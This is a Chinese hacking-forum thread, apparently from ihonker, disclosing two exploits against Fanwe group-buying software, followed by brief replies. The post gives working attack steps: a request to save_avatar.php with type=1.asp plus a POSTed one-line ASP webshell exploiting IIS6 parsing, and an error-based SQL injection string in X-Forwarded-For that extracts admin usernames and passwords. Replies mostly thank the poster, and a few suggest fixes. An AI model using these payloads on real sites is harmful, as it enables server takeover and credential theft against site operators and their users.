查看: 21357|回复: 7

方维团购getshell和注射

[复制链接]
发表于 2014-5-19 16:36:30 | 显示全部楼层 |阅读模式
save_avatar.php:
[AppleScript] 查看源码 复制代码
$_REQUEST['m']="UcModify";

	$_REQUEST['a']="save_avatar";

	include ROOT_PATH."app/source/index.php"; //进去看看

app/source/index.php:
[AppleScript] 查看源码 复制代码
....略.......

	$ma = strtolower($_REQUEST['m'].'_'.$_REQUEST['a']);

	switch($ma){

	case 'ucmodify_save_avatar':

	require ROOT_PATH.'app/source/func/com_user_center_func.php';

	require ROOT_PATH."app/source/user_center.php"; //关键代码

	break;

     ....略.......

app/source/user_center.php:
[AppleScript] 查看源码 复制代码
user_enter_init (); //会员菜单初始化

$userid = intval ( $_SESSION ['user_id'] );



$ma = $_REQUEST ['m'] . "_" . strtolower ( $_REQUEST ['a'] );

$ma ( $userid );

exit ();



function UcModify_save_avatar($userid)

{

	@header("Expires: 0");

	@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);

	@header("Pragma: no-cache");

	//这里传过来会有两种类型,一先一后, big和small, 保存成功后返回一个json字串,客户端会再次post下一个.

	$type = isset($_GET['type'])?trim($_GET['type']):'small';//这里type我们可以控制

	$pic_id = $userid;

	//$orgin_pic_path = $_GET['photoServer']; //原始图片地址,备用.

	//$from = $_GET['from']; //原始图片地址,备用.

	if (! is_dir ( ROOT_PATH . 'Public/upload/avatar/avatar_'.$type ))//创建目录 利用iis6解析漏洞 可以执行代码

		mkdir ( ROOT_PATH . 'Public/upload/avatar/avatar_'.$type);

	//生成图片存放路径

	$new_avatar_path = 'avatar_'.$type.'/'.$pic_id.'.jpg';

	//将POST过来的二进制数据直接写入图片文件.

	@file_put_contents(ROOT_PATH.'Public/upload/avatar/'.$new_avatar_path,file_get_contents("php://input"));

	//原始图片比较大,压缩一下. 效果还是很明显的, 使用80%的压缩率肉眼基本没有什么区别

	//小图片 不压缩约6K, 压缩后 2K, 大图片约 50K, 压缩后 10K

	$avtar_img = imagecreatefromjpeg(ROOT_PATH.'Public/upload/avatar/'.$new_avatar_path);

	imagejpeg($avtar_img,ROOT_PATH.'Public/upload/avatar/'.$new_avatar_path,80);

	//nix系统下有必要时可以使用 chmod($filename,$permissions);

	//输出新保存的图片位置, 测试时注意改一下域名路径, 后面的statusText是成功提示信息.

	//status 为1 是成功上传,否则为失败.

	$d = new pic_data();

	//$d->data->urls[0] = 'http://sns.com/avatar_test/'.$new_avatar_path;

	$d->data->urls[0] = '/Public/upload/avatar/'.$new_avatar_path;

	$d->status = 1;

	$d->statusText = a_L('UPLOAD_SUCCESS');

	$msg = json_encode($d);

	

	echo $msg;

}

登陆状态 保存头像 自定义目录 用iis解析漏洞 执行恶意代码

www.xx.cm/save_avatar.php?type=1.asp

post提交数据

<%execute(request("xiaoma"))%>
QQ截图20140519144114.jpg



------------------------------------------------------------

还有个就是 或者X-Forwarded-For导致的注射

先看下getIP函数咋写的

[AppleScript] 查看源码 复制代码
function getIP() {

	static $realip;

    if (isset($_SERVER)){

        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){ //我们可以直接伪造的

            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];

        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {

            $realip = $_SERVER["HTTP_CLIENT_IP"];

        } else {

            $realip = $_SERVER["REMOTE_ADDR"];

        }

    } else {

        if (getenv("HTTP_X_FORWARDED_FOR")){

            $realip = getenv("HTTP_X_FORWARDED_FOR");

        } else if (getenv("HTTP_CLIENT_IP")) {

            $realip = getenv("HTTP_CLIENT_IP");

        } else {

            $realip = getenv("REMOTE_ADDR");

        }

    }



    return $realip;

}

我们再看谁使用了这个getIP函数

app/source/user_init.php

这个是程序开始就加载了的文件
[AppleScript] 查看源码 复制代码
$client_ip = $iplocation->getIP();

$_SESSION['CLIENT_IP'] = $client_ip; //把获取到的ip存入session中





在登录中又 使用了这个变量导致注射

app/source/index.php



[AppleScript] 查看源码 复制代码
$sql_str = 'update ' . DB_PREFIX . 'user set last_ip = \'' . $_SESSION ['CLIENT_IP'] . '\',active_sn = \'\',group_id= ' . intval ( $userinfo ['group_id'] ) . ' where id = ' . intval ( $userinfo ['id'] );

QQ截图20140519144552.jpg

exp:

127.0.0.13'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT SUBSTRING(CONCAT(adm_name,0x7c,adm_pwd,0x7c),1,60) FROM fanwe_admin LIMIT 0,1),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a),active_sn = '

by Noxxx
回复

使用道具 举报

发表于 2014-5-19 18:29:08 | 显示全部楼层
又一个解析。又一个登录状态。感谢分享
回复 支持 反对

使用道具 举报

发表于 2014-5-20 15:25:38 | 显示全部楼层
已入库 →_→
回复 支持 反对

使用道具 举报

发表于 2014-5-21 12:25:03 | 显示全部楼层
感谢分享啊
回复 支持 反对

使用道具 举报

发表于 2014-11-5 00:11:57 | 显示全部楼层
学习了,。。。。。。。。。。
回复 支持 反对

使用道具 举报

发表于 2026-5-21 10:10:00 | 显示全部楼层

Re: 方维团购getshell和注射

感谢分享这个漏洞情报。方维团购的这套代码确实存在明显的安全问题,尤其是 `save_avatar.php` 里用 `$_REQUEST` 直接拼接方法名并执行函数调用,配合 type 参数控制目录,在 IIS 下很容易被利用。那个 getIP 函数对 X-Forwarded-For 没有过滤直接就用了,注入风险也很高。建议使用这套系统的用户尽快升级或打补丁,至少要把 `$_REQUEST` 改成 `$_GET` 或 `$_POST` 并严格过滤,getIP 也要做清理。
回复 支持 反对

使用道具 举报

发表于 2026-6-20 00:10:04 | 显示全部楼层

Re: 方维团购getshell和注射

这两个漏洞分析得很清楚,特别是利用 `save_avatar.php` 中 `type` 参数直接拼接目录名,配合 IIS6 解析漏洞写 shell 的思路很典型。另外 X-Forwarded-For 注入也常见,关键是 `getIP()` 函数没有过滤就直接用于后续查询。建议厂商升级 `getIP()` 对可信IP做校验,并严格限制头像上传的目录名和文件类型。感谢分享!
回复 支持 反对

使用道具 举报

发表于 2026-6-20 09:10:00 | 显示全部楼层

Re: 方维团购getshell和注射

感谢楼主分享,分析得很透彻。两个漏洞都挺典型的:一个是利用IIS6解析漏洞和目录可控写马,另一个是X-Forwarded-For未过滤导致的SQL注入。想确认一下,第一个漏洞必须先登录才能触发UcModify_save_avatar函数吧?另外注射那个,具体是在哪个参数或文件里使用了getIP()函数呢?方便的话补充一下注入点和修复建议,谢谢。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-27 14:15 , Processed in 0.029490 second(s), 22 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部